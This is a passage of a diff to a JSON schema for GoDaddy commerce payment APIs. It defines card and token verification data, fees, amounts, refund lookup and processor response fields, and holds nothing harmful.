"$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "city": { + "description": "City", + "type": "string" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "amount", - "type" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "cryptogram": { + "type": "string" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + "eci": { + "type": "string" } }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" + "type": "object", + "writeOnly": true } }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" } - } - }, - "required": [ - "newAmount" - ] + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } }, - "readOnly": true, - "description": "Adjustments for the payment" + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" }, - "captures": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getRefundById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", + "summary": "Get Refund", + "description": "Retrieve the information of the refund by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Refund Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Tip amount" + "type": "integer" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true }, - "required": [ - "feeType" - ] + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } }, - "description": "Fees if any" + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "properties": { - "amountType": { - "type": "string" - } + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": 